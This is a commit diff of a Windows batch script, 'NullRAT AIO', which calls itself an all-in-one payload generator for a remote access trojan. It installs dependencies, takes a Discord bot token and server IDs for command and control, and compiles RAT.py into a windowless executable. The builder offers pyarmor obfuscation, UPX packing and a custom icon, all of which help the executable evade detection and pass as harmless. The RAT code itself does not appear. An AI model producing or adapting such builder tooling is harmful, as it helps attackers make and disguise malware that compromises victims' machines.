|
| 1 | +@echo off & @title NullRAT AIO |
| 2 | +cd "%~dp0NullRAT" |
| 3 | +setlocal EnableDelayedExpansion |
| 4 | +mode con: cols=80 lines=29 |
| 5 | + |
| 6 | +:main |
| 7 | +cls & echo Press any key to start, C to clean working dir, E to exit: |
| 8 | + |
| 9 | +echo _ |
| 10 | +echo. & echo. & echo. & echo. & echo. |
| 11 | +echo _ _ _ _ ____ _ _____ _ ___ ___ |
| 12 | +echo ^| ^\ ^| ^|_ _^| ^| ^| _ ^\ ^/ ^\^|_ _^| ^/ ^\ ^|_ _^/ _ ^\ |
| 13 | +echo ^| ^\^| ^| ^| ^| ^| ^| ^| ^|_^) ^| ^/ _ ^\ ^| ^| ^/ _ ^\ ^| ^| ^| ^| ^| |
| 14 | +echo ^| ^|^\ ^| ^|_^| ^| ^| ^| _ ^< ^/ ___ ^\^| ^| ^/ ___ ^\ ^| ^| ^|_^| ^| |
| 15 | +echo ^|_^| ^\_^|^\__^,_^|_^|_^|_^| ^\_^\^/_^/ ^\_^\_^| ^/_^/ ^\_^\___^\___^/ |
| 16 | +echo. |
| 17 | +echo ======================================== |
| 18 | +echo ^|^| ^>^>^> All-In-One Payload Generator ^<^<^< ^|^| |
| 19 | +echo ======================================== |
| 20 | +choice /c ECABDFGHIJKLMNOPQRSTUVWXYZ123456789 /n |
| 21 | +if %errorlevel%==1 (exit /b 2) |
| 22 | +if %errorlevel%==2 (goto cleanup) else (goto depend) |
| 23 | + |
| 24 | +:depend |
| 25 | +@title NullRAT AIO (Dependencies Installer) |
| 26 | +cls & echo. |
| 27 | +echo [38;2;0;220;255m██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗[38;2;255;255;255m |
| 28 | +echo [38;2;0;200;255m███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝[38;2;255;255;255m |
| 29 | +echo [38;2;0;180;255m╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║[38;2;255;255;255m |
| 30 | +echo [38;2;0;160;255m██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║[38;2;255;255;255m |
| 31 | +echo [38;2;0;140;255m██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║[38;2;255;255;255m |
| 32 | +echo [38;2;0;120;255m╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝[38;2;255;255;255m |
| 33 | +echo ^>^> Would you like to install^/update NullRAT's Dependencies^? [Y^/N] |
| 34 | +choice /c YN /n |
| 35 | +if %errorlevel%==2 ( |
| 36 | + echo Skipping |
| 37 | + goto vars |
| 38 | +) else ( |
| 39 | + cls & echo. |
| 40 | + echo [38;2;0;220;255m██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗[38;2;255;255;255m |
| 41 | + echo [38;2;0;200;255m███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝[38;2;255;255;255m |
| 42 | + echo [38;2;0;180;255m╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║[38;2;255;255;255m |
| 43 | + echo [38;2;0;160;255m██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║[38;2;255;255;255m |
| 44 | + echo [38;2;0;140;255m██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║[38;2;255;255;255m |
| 45 | + echo [38;2;0;120;255m╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝[38;2;255;255;255m |
| 46 | + echo ^>^> Would you like to install^/update NullRAT's Dependencies^? [Y^/N] & echo. |
| 47 | + echo 1^> Installing fixed version of pyinstaller... |
| 48 | + start "" "python" -m pip install pyinstaller==4.10 |
| 49 | + timeout /t 3 /nobreak >nul |
| 50 | + echo 2^> Uninstalling incompatible packages... |
| 51 | + start "" "python" -m pip uninstall enum34 |
| 52 | + echo 3^> Installing/Upgrading rest of dependencies... |
| 53 | + start "" "python" -m pip install --upgrade virtualenv aiohttp disnake requests mss pyarmor |
| 54 | + timeout /t 6 /nobreak >nul |
| 55 | + start "" "python" -m pip install --upgrade virtualenv aiohttp disnake requests mss pyarmor |
| 56 | + echo. |
| 57 | + echo ALL DONE! |
| 58 | + timeout /t 5 |
| 59 | + goto vars |
| 60 | +) |
| 61 | + |
| 62 | +:vars |
| 63 | +mode con: cols=90 lines=30 |
| 64 | +@title NullRAT AIO (Variables Setter) |
| 65 | +cd "%~dp0NullRAT" |
| 66 | +cls & echo. |
| 67 | +echo [38;2;0;220;255m██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗[38;2;255;255;255m |
| 68 | +echo [38;2;0;200;255m╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝[38;2;255;255;255m |
| 69 | +echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗[38;2;255;255;255m |
| 70 | +echo [38;2;0;160;255m██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║[38;2;255;255;255m |
| 71 | +echo [38;2;0;140;255m███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║[38;2;255;255;255m |
| 72 | +echo [38;2;0;120;255m╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝[38;2;255;255;255m |
| 73 | +IF EXIST "Variables.py" (goto fileE) else (goto a) |
| 74 | + |
| 75 | +:fileE |
| 76 | +echo. |
| 77 | +echo A pre-existing variables file was detected. |
| 78 | +choice /c YN /n /m "Do you want to check its contents? [Y/N]" |
| 79 | +if %errorlevel%==2 ( |
| 80 | + cls & echo. |
| 81 | + echo [38;2;0;220;255m██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗[38;2;255;255;255m |
| 82 | + echo [38;2;0;200;255m╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝[38;2;255;255;255m |
| 83 | + echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗[38;2;255;255;255m |
| 84 | + echo [38;2;0;160;255m██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║[38;2;255;255;255m |
| 85 | + echo [38;2;0;140;255m███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║[38;2;255;255;255m |
| 86 | + echo [38;2;0;120;255m╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝[38;2;255;255;255m |
| 87 | + echo. |
| 88 | + goto a |
| 89 | +) |
| 90 | + |
| 91 | +if %errorlevel%==1 (goto endd) |
| 92 | + |
| 93 | +:a |
| 94 | +echo. |
| 95 | +echo Obtaining information for Variables.py ... |
| 96 | +echo ========================================== |
| 97 | +echo. |
| 98 | +set /p "token=Enter Bot Token: " |
| 99 | +if "%token%"=="" (cls & echo [ERROR] Token cannot be empty! & goto createF) |
| 100 | +set /p "notification=Enter Notification ID: " |
| 101 | +if "%notification%"=="" (cls & echo [ERROR] Notification cannot be empty! & goto createF) |
| 102 | +set /p "server=Enter Server ID: " |
| 103 | +if "%server%"=="" (cls & echo [ERROR] Server cannot be empty! & goto createF) |
| 104 | + |
| 105 | +echo ^# This file was auto-generated by NullRAT Variables^. DO NOT SHARE^! > Variables.py |
| 106 | +echo bot_token = ^"%token%^" >> Variables.py |
| 107 | +echo notification_channel = %notification% >> Variables.py |
| 108 | +echo server_ids = ^[%server%^] >> Variables.py |
| 109 | + |
| 110 | +echo. & echo Variables file successfully created! |
| 111 | +timeout /t 3 |
| 112 | +goto compiler |
| 113 | + |
| 114 | +:endd |
| 115 | +echo. & type Variables.py & echo. |
| 116 | +choice /c YN /n /m "Are all these information correct? [Y/N]" |
| 117 | +if %errorlevel%==2 ( |
| 118 | + cls & echo. |
| 119 | + echo [38;2;0;220;255m██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗[38;2;255;255;255m |
| 120 | + echo [38;2;0;200;255m╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝[38;2;255;255;255m |
| 121 | + echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗[38;2;255;255;255m |
| 122 | + echo [38;2;0;160;255m██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║[38;2;255;255;255m |
| 123 | + echo [38;2;0;140;255m███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║[38;2;255;255;255m |
| 124 | + echo [38;2;0;120;255m╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝[38;2;255;255;255m |
| 125 | + echo. |
| 126 | + goto a |
| 127 | +) |
| 128 | +if %errorlevel%==1 ( |
| 129 | + echo. & echo [38;2;0;120;255mThe following information is correct.[38;2;255;255;255m |
| 130 | + timeout /t 2 & goto compiler |
| 131 | +) |
| 132 | + |
| 133 | +:a |
| 134 | +echo. |
| 135 | +echo Obtaining information for Variables.py ... |
| 136 | +echo ========================================== |
| 137 | +echo. |
| 138 | +set /p "token=Enter Bot Token: " |
| 139 | +if "%token%"=="" (cls & echo [ERROR] Token cannot be empty! & goto createF) |
| 140 | +set /p "notification=Enter Notification ID: " |
| 141 | +if "%notification%"=="" (cls & echo [ERROR] Notification cannot be empty! & goto createF) |
| 142 | +set /p "server=Enter Server ID: " |
| 143 | +if "%server%"=="" (cls & echo [ERROR] Server cannot be empty! & goto createF) |
| 144 | + |
| 145 | +cd "%~dp0NullRAT" |
| 146 | +echo ^# This file was auto-generated by NullRAT Variables^. DO NOT SHARE^! > Variables.py |
| 147 | +echo bot_token = ^"%token%^" >> Variables.py |
| 148 | +echo notification_channel = %notification% >> Variables.py |
| 149 | +echo server_ids = ^[%server%^] >> Variables.py |
| 150 | + |
| 151 | +echo. &echo Variables file successfully created! |
| 152 | +timeout /t 3 |
| 153 | +goto compiler |
| 154 | + |
| 155 | +:compiler |
| 156 | +@title NullRAT AIO (Compiler) |
| 157 | +cls & echo. |
| 158 | +echo [38;2;0;220;255m██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗[38;2;255;255;255m |
| 159 | +echo [38;2;0;200;255m╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗[38;2;255;255;255m |
| 160 | +echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝[38;2;255;255;255m |
| 161 | +echo [38;2;0;160;255m╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗[38;2;255;255;255m |
| 162 | +echo [38;2;0;140;255m██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║[38;2;255;255;255m |
| 163 | +echo [38;2;0;120;255m╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝[38;2;255;255;255m |
| 164 | +echo. |
| 165 | +echo [0;36m^>^> Options: |
| 166 | +echo -----------[0m |
| 167 | +echo. |
| 168 | + |
| 169 | +choice /c YN /n /m "Do you want to obfuscate the executable? [Y/N]: " |
| 170 | +if %errorlevel%==1 (set pyarmor=yes) |
| 171 | +if %errorlevel%==2 (set pyarmor=no) |
| 172 | + |
| 173 | +choice /c YN /n /m "Do you want to compress the executable? [Y/N]: " |
| 174 | +if %errorlevel%==1 (set upxdd=yes) |
| 175 | +if %errorlevel%==2 (set upxdd=no) |
| 176 | + |
| 177 | +choice /c YN /n /m "Do you want to add a custom icon? [Y/N]: " |
| 178 | +if %errorlevel%==1 (set icon=yes) |
| 179 | +if %errorlevel%==2 (set icon=no) |
| 180 | + |
| 181 | +echo. |
| 182 | +echo [0;36mAll options selected: |
| 183 | +echo --------------------------------------------[0m |
| 184 | +echo Obfuscating the executable="%pyarmor%" |
| 185 | +echo Compressing the executable="%upxdd%" |
| 186 | +echo Adding a custom icon to the executable="%icon%" |
| 187 | +echo [0;36m--------------------------------------------[0m |
| 188 | + |
| 189 | +echo. & choice /c YN /n /m "Are all these options correct? [Y/N]: " |
| 190 | +if %errorlevel%==2 (goto compiler) else (goto compile) |
| 191 | + |
| 192 | +:compile |
| 193 | +cls & echo. |
| 194 | +echo [38;2;0;220;255m██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗[38;2;255;255;255m |
| 195 | +echo [38;2;0;200;255m╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗[38;2;255;255;255m |
| 196 | +echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝[38;2;255;255;255m |
| 197 | +echo [38;2;0;160;255m╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗[38;2;255;255;255m |
| 198 | +echo [38;2;0;140;255m██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║[38;2;255;255;255m |
| 199 | +echo [38;2;0;120;255m╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝[38;2;255;255;255m |
| 200 | +echo. |
| 201 | + |
| 202 | +if "!icon!"=="yes" ( |
| 203 | + set /P "iconP=Please type the path of the custom icon: " |
| 204 | + move "!iconP!" "%~dp0\NullRAT\custom_icon.ico" |
| 205 | +) |
| 206 | +if "!upxdd!"=="yes" (set "path=!path!;%~dp0\NullRAT\upx;%~dp0\upx") |
| 207 | + |
| 208 | +cd "%~dp0" |
| 209 | +set "folder=compiling-%random%" |
| 210 | +mkdir "!folder!" & cd "NullRAT" |
| 211 | +copy *.* ..\"!folder!" |
| 212 | +copy "modules\*.*" ..\"!folder!" |
| 213 | + |
| 214 | +cd modules |
| 215 | + |
| 216 | +set "main_arg=pyinstaller --onefile --noconsole --icon=custom_icon.ico --hidden-import mss" |
| 217 | +set "main_arg3=pyarmor pack --clean -e " --onefile --noconsole --icon=custom_icon.ico --hidden-import mss" |
| 218 | + |
| 219 | +set "main_arg2=pyinstaller --onefile --noconsole --hidden-import mss" |
| 220 | +set "main_arg4=pyarmor pack -e " --onefile --noconsole --hidden-import mss" |
| 221 | + |
| 222 | +for %%i in (*) do set "main_arg=!main_arg! --add-data %%~nxi;." |
| 223 | +for %%i in (*) do set "main_arg2=!main_arg2! --add-data %%~nxi;." |
| 224 | +for %%i in (*) do set "main_arg3=!main_arg3! --add-data %%~nxi;." |
| 225 | +for %%i in (*) do set "main_arg4=!main_arg4! --add-data %%~nxi;." |
| 226 | + |
| 227 | +set "main_arg=!main_arg! RAT.py" |
| 228 | +set "main_arg2=!main_arg2! RAT.py" |
| 229 | +set "main_arg3=!main_arg3! " RAT.py" |
| 230 | +set "main_arg4=!main_arg4! " RAT.py" |
| 231 | + |
| 232 | +cd "%~dp0!folder!" |
| 233 | + |
| 234 | +if "!pyarmor!"=="yes" ( |
| 235 | + if "!icon!"=="yes" ( |
| 236 | + !main_arg3! |
| 237 | + ) else ( |
| 238 | + !main_arg4! |
| 239 | + ) |
| 240 | +) else ( |
| 241 | + if "!icon!"=="yes" ( |
| 242 | + !main_arg! |
| 243 | + ) else ( |
| 244 | + !main_arg2! |
| 245 | + ) |
| 246 | +) |
| 247 | + |
| 248 | +move dist\RAT.exe "%~dp0\" & echo. |
| 249 | +cd "%~dp0\" |
| 250 | +rmdir /s /q "!folder!" |
| 251 | +timeout /t 2 |
| 252 | + |
| 253 | +exit |
| 254 | + |
| 255 | +:cleanup |
| 256 | +cd "%~dp0" |
| 257 | +if exist "NullRAT\" ( |
| 258 | + move NullRAT\custom_icon.ico "%~dp0" |
| 259 | + move NullRAT\RAT.py "%~dp0" |
| 260 | + move NullRAT\modules "%~dp0" |
| 261 | + move NullRAT\upx\upx.exe "%~dp0" |
| 262 | + rmdir /s /q NullRAT |
| 263 | +) |
| 264 | +attrib -h ".git" |
| 265 | +del README.md |
| 266 | +del "Getting Variables".md |
| 267 | +del .gitignore |
| 268 | +if exist RAT.exe (del RAT.exe) |
| 269 | +rmdir /s /q ".git" |
| 270 | +rmdir /s /q "build" |
| 271 | +rmdir /s /q "dist" |
| 272 | + |
| 273 | +mkdir NullRAT |
| 274 | +move custom_icon.ico "%~dp0\NullRAT" |
| 275 | +move RAT.py "%~dp0\NullRAT" |
| 276 | +move modules "%~dp0\NullRAT" |
| 277 | +mkdir NullRAT\upx |
| 278 | +move upx.exe "%~dp0\NullRAT\upx" |
| 279 | + |
| 280 | +goto main |
0 commit comments